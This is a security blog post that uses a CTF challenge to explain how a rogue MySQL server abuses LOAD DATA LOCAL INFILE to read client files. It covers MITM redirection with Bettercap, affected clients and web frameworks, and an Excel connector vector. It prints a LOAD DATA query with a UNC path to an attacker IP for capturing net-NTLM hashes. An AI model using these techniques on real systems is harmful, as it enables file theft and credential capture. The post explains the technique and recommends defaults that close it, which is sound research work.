Monday, April 23, 2018

Abusing MySQL LOCAL INFILE to read client files

Recently, I was playing the VolgaCTF 2018 CTF with my teammates from TheGoonies and we came across an interesting Web challenge that we didn't manage to solve during the competition. The following day, I read the write-up and learned a cool technique to attack the MySQL client directly via the LOAD DATA INFILE statement.

The "Corp Monitoring" task consisted of a Corporate Monitoring API that would test the healthcheck of a given server by connecting and verifying if the FTP, Web and MySQL servers were up. The MySQL user for the connection was restricted and the healthcheck validation was based on a few queries including the "SHOW DATABASE" command.

The key to solve the challenge was to identify the "Can Use LOAD DATA LOCAL" client capability and point the API to a Rogue MySQL server that would read arbitrary files from the client via LOAD DATA INFILE statements.

After reading about the technique, I decided to check how several libraries, clients and Web Frameworks could be exploited. I also ended up writing a a Bettercap module to abuse this feature in combination with MITM attacks.



Previous Research

Before I start I would like to point that this technique is not new: it's a known and documented feature from the MySQL clients. I gathered prior posts, tools and presentations and they're all written by Russians - it looks like these techniques are not very widespread outside there.

- Database Honeypot by design - Presentation from Yuri Goltsev (August 2013)
Rogue-MySql-Server Tool: MySQL fake server to read files of connected clients (September 2013)
MySQL connect file read - Post from the Russian Security (April 2016)


Revisiting MySQL LOAD DATA INFILE

According to the MySQL documentation, the handshake connection phase performs the following tasks:

- Exchange the capabilities of client and server
- Setup SSL communication channel if requested
- Authenticate the client against the server

After the successful authentication, the client sends the query and waits for the server response before actually doing something. The "Client Capabilities" packet includes an entry called "Can Use LOAD DATA LOCAL".

LOAD DATA LOCAL Set? You're gonna have a bad time.

This is where things start to become interesting. As long as the client enables the capability (via --enable-local-infile flag, for example), the file will be read from the local machine running the MySQL client and transferred to the server.


One particular feature from the MySQL protocol is that the client simply doesn't keep track of the requested commands, executing the queries purely based on the server response.

This means that a rogue MySQL server can simulate the initial handshake, wait for the SQL statement packet, ignore it and respond with a LOCAL DATA INFILE request. Cool isn't it?

For successfully exploitation we also need the client to make at least one query to our Rogue MySQL server. Fortunately, most MySQL clients and libraries make at least one query after the handshake in order to fingerprint the platform, for example (select @@version_comment limit 1).



Because most MySQL clients don't enforce encryption, it's quite easy to impersonate a MySQL server using tools like Bettercap. They simply don't care about the integrity and authenticity of the communication.


MITM + Bettercap + Rogue MySQL Server = WIN

Bettercap is the Swiss army knife for network attacks and monitoring. It supports several modules for ARP/DNS spoofing, TCP and packet proxy etc. I had a quick look on how its modules work and hacked a simple MySQL server that will abuse the LOAD DATA LOCAL INFILE feature to read client files.

Firstly, I sniffed the MySQL traffic while the client connects and request to read a LOCAL INFILE. I exported the server responses as byte arrays and defined the components in the Golang code:


Writing a module for Bettercap is very simple and the core of the Rogue MySQL server is as follows:

Here's the module in action:



The module includes the following options:



It's worth mentioning that the INFILE format also supports UNC paths. If the client connecting to your rogue MySQL server is running on Windows, it's also possible to retrieve net-NTLM hashes, using the query below:

LOAD DATA LOCAL INFILE '\\\\172.16.136.153\\test' into table mysql.test FIELDS TERMINATED BY "\n";

Here's a quick video illustrating this technique:


If you have a privileged network position and perform DNS or ARP spoofing, you can also redirect the MySQL traffic from legit databases to your rogue server and read arbitrary client files.

As far as I know, it's not possible to simply redirect TCP traffic from Host A to Host B using Bettercap. I wrote a quick and dirty hack for tcp_proxy.go to handle that:

Here's the ARP spoofing and the MySQL LOAD DATA LOCAL INFILE in action:



I sent a pull request to the project with the Rogue MySQL Server, let's hope that @evilsocket accept it. If my pull request is accepted, I will also ask them the best way to redirect TCP traffic (maybe another module or a setting for the TCP Proxy). I will update the post with the upcoming official solution.


MySQL Command-Line Clients

The mysql client from Homebrew/macOS (mysql: stable 5.7.21, devel 8.0.4-rc) properly enforces the LOCAL-INFILE flag and won't let you read client files without explicitly enabling it:


For some reason, several clients like the Ubuntu default mysql-client (5.7.21-0ubuntu0.17.10.1, as of this writing) automatically sets that flag during the connection:


The same happens with the Windows client bundled with MySQL Workbench, there's no need to enable the flags to read local files:



Abusing Web Frameworks to read server files

This insecure by default behavior also occurs in several libraries, Frameworks and MySQL connectors out there: most of them enable to LOCAL-INFILE flag by default. In this case, when a Web-user modify a form containing a MySQL host and point it to a rogue server, he can read local files from the system.

This functionality is very common in Monitoring/Dashboard applications and Framework install scripts, that allow the user to set the database on-the-fly via the admin panel.

The good news here is that most Web-applications restrict the panels for changing MySQL settings to administrator users only. The bad news is that your admin is one XSS/CSRF/Clickjacking away from being exploited. Here's a quick overview on how some PHP frameworks can be abused:


  • Joomla v3.8.7


  • Wordpress v4.9.5


  • Zabbix v3.4.8



  • Drupal v8.5.2 (Not vulnerable)

Drupal was probably too busy being vulnerable to RCEs


Bonus: Abusing Excel MySQL Connector

If you have a Microsoft Office installation on your Windows machine and the MySQL Connector/Net is installed, it's possible to create a spreadsheet that connects to a rogue MySQL server. The connector is installed by default with the Windows MySQL installer and you probably have it if you use a tool to connect/manage MySQL databases or if your machine is running MySQL server.


In order to create a document that connects to a MySQL server, we need to go to the Data tab, choose New Query>From Database>From MySQL Database. We enter the server details, username, password, query and save the file.



If you download the document from the Internet, the receiver needs to put the document in editing mode before the remote server will be contacted. For some reason, we need to close/reopen Excel for the query to work. Also, Excel only displays the security warning during the first time you open the file and stops to do so as soon as you enable the external content.

Here's another demo:




Conclusion

Despite the efforts from Duo Security (they had a website AND a logo) with the BACKRONYM MySQL vulnerability, not much is being done to enforce proper encryption to MySQL servers. Web applications and Frameworks rarely support encryption and TLS validation for the MySQL connection. The unencrypted protocol is not secure and, given a password hash and a successful authentication handshake, one can successfully login on the server.

MySQL libraries and connectors should establish secure patterns and disable LOCAL-INFILE support by default. I really like the way the Go MySQL Driver works: it supports LOCAL-INFILE via whitelisting and the library documentation explicitly advises that the feature "Might be insecure!"

This feature can also be abused in honeypots and vulnerability scanners. It should be quite interesting to pwn security tools while they scan your MySQL host. If your application register a MySQL URI handler, your system might be exploited via website links.

Another interesting way to abuse MySQL clients is via downgrade attacks, switching to older insecure password authentication and verifying how they behave. But this post is already too long for that...

Thanks for reading!